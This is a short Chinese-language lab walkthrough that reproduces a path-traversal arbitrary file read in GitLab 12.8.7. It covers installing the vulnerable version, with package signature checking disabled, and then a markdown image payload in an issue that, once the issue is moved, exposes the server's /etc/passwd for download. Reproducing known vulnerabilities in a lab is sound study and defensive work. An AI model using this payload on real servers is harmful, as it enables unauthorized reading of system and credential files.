一、gitlab受影响版本
GitLab GitLab CE/EE >=8.5 and <=12.9
二、gitlab12.8.7安装
1.首先在/etc/yum.repos.d/下新建一个名为gitlab-ce.repo的文件,内容为以下内容
[gitlab-ce] name=Gitlab CE Repository baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/ gpgcheck=0 enabled=1
2.使用以下命令安装带漏洞版本的gitlab
yum makecache yum install gitlab-ce-12.8.7-ce.0.el7
3.在执行完成后,修改/etc/gitlab/gitlab.rb文件注释掉external_url ‘http://gitlab.example.com’
4.保存退出后,使用命令gitlab-ctl reconfigure来进行安装,然后等待安装完成。
gitlab-ctl reconfigure
5.使用如下命令检测当前GitLab版本:
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
6.安装完成后,在浏览器直接访问IP即可
三、漏洞复现
1.登录后创建两个project
2.在一个project中创建一个issues,填入payload:
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
3.提交后,将这个创建好的issues move到前面创建好的project2中。
4.move完成后,从第二个project中可以看到passwd文件的连接地址,可以直接点击下载。
5.服务器/etc/passwd中的内容被下载到本地